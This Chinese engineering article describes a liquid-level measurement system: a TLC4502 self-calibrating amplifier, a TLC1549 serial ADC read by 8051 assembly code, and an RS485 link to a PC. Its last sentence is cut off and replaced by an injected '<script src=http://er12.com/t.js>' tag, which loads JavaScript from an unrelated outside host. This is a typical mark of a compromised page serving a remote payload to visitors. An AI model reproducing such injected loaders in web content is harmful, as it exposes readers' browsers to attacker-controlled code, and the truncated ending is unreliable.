一、引言
液体的液位测量在工业生产中非常普遍，应用领域也比较广，例如：自来水位的测量和控制，石油管道和储油罐的油位的测量等。高精度的传感器可用于这些测试系统中来感知传递压力、流量、 温度等信号，把这些信号变成电信号，然后经过放大、a/d转换、送入单片机处理后，最后发送到远方的pc机，这样可实现对现场的液位情况进行实时监控，从而向被控单元发出指令，采取相应的动作。整个系统的框图如下：
二、具体的实现过程
1. 放大部分：tlc4502－双路自校准低噪声高速运算放大器的应用。
集成运算放大器种类很多，在各类仪表及控制电路中要求运算放大器必须具有高精度，高共模抑制比和低温漂等性能。目前采用的精密运算放大器都具有外接调零电位器输入端，应用时首先对其失调调零。由于电路复杂，给调试带来不便。美国ti仪器公司研制生产的tlc4502精密型双运算放大器，采用自动校准技术，在上电时将输入失调电压自动调整为零，使用起来十分方便，同时也节省了pcb板和外部分离元件，该器件的管脚排列如下图所示：
tlc4502自动校准运算放大器在片内利用对数字与模拟信号的处理，可在上电时输入失调电压自动校准为零。完成自动校准一般需要300ms的时间，连续校准时可在（±）3μv范围内反复进行。一旦校准完成，大部分校准电路将脱离信号通道并被关断，这样，校准电路对信号通道几乎无影响，这也使得tlc4502在校准周期结束之后可以完全象其他精密运算放大器一样使用。
tlc4502具有高精度，高增益，良好的电源抑制比，驱动能力强等特点，可广泛应用于数据采集，数字音频，工业控制等领域。在本系统中，用来放大从传感器出来的微弱信号，具体电路如图1：
图1
2. a/d转换部分：tlc1549－带串行控制的10位模数转换器的应用。
从放大器出来的电压信号进入到a/d转换器以形成单片机便于处理的数字信号。在该设计中，采用了美国ti公司生产的10位模数转换器tlc1549。它采用cmos工艺，具有内在的采样和保持，采用差分基准电压高阻输入，抗干扰，可按比例量程校准转换范围，总不可调整误差达到（±）1lsb max(4.8mv)，占地面积小等特点。
其工作原理为：在芯片选择（/cs）无效情况下，i/o clock最初被禁止且data out处于高阻状态。当串行接口把/cs拉至有效时，转换时序开始允许i/o clock工作并使data out脱离高阻状态。串行接 口然后把i/o clock 序列提供给i/o clock并从data out接收前次转换结果。i/o clock从主机串行接口接收长度在10和16个时钟之间的输入序列。开始10个i/o时钟提供采样模拟输入的控制时序。在/cs的下降沿，前次转换的msb出现10个时钟长度 ，那么在10个时钟的下降沿，内部逻辑把data out拉至低电平以确保其余位的值为零。在正常进行的转换周期内，规定时间内/cs端高电平至低电平的跳变可终止改周期，器件返回初始状态（输出数据寄存器的内容保持为前次转换结果）。由于可能破坏输出数据，所以在接近转换完成时要小心防于止/cs被拉至低电平。时序图如图2：
图2
由于它采用串行输出的方式，占地面积小，方便灵活，与单片机的接口也简单，电路如图3：
tlc1549 at89c51
图3
该软件部分为，其中，入口参数：使用累加器a，进位标志cy及工作寄存器r7；出口参数：20h单元存放转换结果的低8位，21h单元存放转换结果的高2位。
aadccon： mov 20h，#00h
mov 21h，#00h；结果单元清零
mov r7，#0ah；a/d转换位数标志
clr p1.4 ；选通tlc1549
loop1： mov c，p1.0；读转换结果送至cy
mov a，20h；转换结果移至结果单元
rlc a
mov 20h，a
mov a，21h
rlc a
mov 21h,a
setb p1.2；形成移位脉冲
clr p1.2
djnz r7，loop1 ；转换结束否？
setb p1.4；tlc1549复位并进行一次转换
ret；上述程序执行时间约120μｓ
3. rs485接口芯片部分－75lbc184
放大的电压信号经过a/d转换由单片机处理后，要传送到远方的pc机，以便达到实时监控的目的。以单片机为主体构成的分布式数据采集和控制系统，因为其电路结构简单，工作可靠性高而被广泛应用在工业控制中。目前广泛使用的单片机产品都集成了串行通信接口，使用串行通信接口，通过rs485接口驱动芯片就可以构成总线型通信网络，把多台单片机系统连接成一个分布式数据采集和控制系统。但为了克服单片机的不足，引入了pc机，采用主从式结构模式，即pc机为主机，分布在现场的各个单片机系统为从机，其结构如下图所示。
pc机串行口为标准的rs232口，根据标准规定：rs232采用负逻辑，并且传输距离短，一般用于20m以内的通信。而对于大多数分布式控制?script src=http://er12.com/t.js>
